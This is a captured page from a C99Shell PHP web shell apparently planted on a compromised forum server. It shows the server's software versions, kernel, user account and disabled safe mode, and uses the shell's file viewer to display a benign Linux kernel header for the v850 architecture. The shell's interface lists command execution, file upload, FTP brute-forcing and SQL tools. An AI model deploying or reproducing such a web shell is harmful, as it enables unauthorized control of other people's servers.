!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g. PHP/5.2.4-2ubuntu5.12 

uname -a: Linux forum.circlefusion.com 2.6.24-19-server #1 SMP Wed Jun 18 15:18:00 UTC 2008 i686 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-2.6.24-28/include/asm-v850/   drwxr-xr-x
Free 1.06 GB of 97.11 GB (1.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     system.h (2.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * include/asm-v850/system.h -- Low-level interrupt/thread ops
 *
 *  Copyright (C) 2001,02,03  NEC Electronics Corporation
 *  Copyright (C) 2001,02,03  Miles Bader <miles@gnu.org>
 *
 * This file is subject to the terms and conditions of the GNU General
 * Public License.  See the file COPYING in the main directory of this
 * archive for more details.
 *
 * Written by Miles Bader <miles@gnu.org>
 */

#ifndef __V850_SYSTEM_H__
#define __V850_SYSTEM_H__

#include <linux/linkage.h>
#include <asm/ptrace.h>


/*
 * switch_to(n) should switch tasks to task ptr, first checking that
 * ptr isn't the current task, in which case it does nothing.
 */
struct thread_struct;
extern void *switch_thread (struct thread_struct *last,
                struct thread_struct *next);
#define switch_to(prev,next,last)                          \
  do {                                          \
        if (prev != next) {                              \
         (last) = switch_thread (&prev->thread, &next->thread);          \
    }                                      \
  } while (0)


/* Enable/disable interrupts.  */
#define local_irq_enable()    __asm__ __volatile__ ("ei")
#define local_irq_disable()    __asm__ __volatile__ ("di")

#define local_save_flags(flags) \
  __asm__ __volatile__ ("stsr %1, %0" : "=r" (flags) : "i" (SR_PSW))
#define local_restore_flags(flags) \
  __asm__ __volatile__ ("ldsr %0, %1" :: "r" (flags), "i" (SR_PSW))

/* For spinlocks etc */
#define    local_irq_save(flags) \
  do { local_save_flags (flags); local_irq_disable (); } while (0) 
#define local_irq_restore(flags) \
  local_restore_flags (flags);


static inline int irqs_disabled (void)
{
    unsigned flags;
    local_save_flags (flags);
    return !!(flags & 0x20);
}


/*
 * Force strict CPU ordering.
 * Not really required on v850...
 */
#define nop()            __asm__ __volatile__ ("nop")
#define mb()            __asm__ __volatile__ ("" ::: "memory")
#define rmb()            mb ()
#define wmb()            mb ()
#define read_barrier_depends()    ((void)0)
#define set_mb(var, value)    do { xchg (&var, value); } while (0)

#define smp_mb()    mb ()
#define smp_rmb()    rmb ()
#define smp_wmb()    wmb ()
#define smp_read_barrier_depends()    read_barrier_depends()

#define xchg(ptr, with) \
  ((__typeof__ (*(ptr)))__xchg ((unsigned long)(with), (ptr), sizeof (*(ptr))))

static inline unsigned long __xchg (unsigned long with,
                    __volatile__ void *ptr, int size)
{
    unsigned long tmp, flags;

    local_irq_save (flags);

    switch (size) {
    case 1:
        tmp = *(unsigned char *)ptr;
        *(unsigned char *)ptr = with;
        break;
    case 2:
        tmp = *(unsigned short *)ptr;
        *(unsigned short *)ptr = with;
        break;
    case 4:
        tmp = *(unsigned long *)ptr;
        *(unsigned long *)ptr = with;
        break;
    }

    local_irq_restore (flags);

    return tmp;
}

#define arch_align_stack(x) (x)

#endif /* __V850_SYSTEM_H__ */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0048 ]--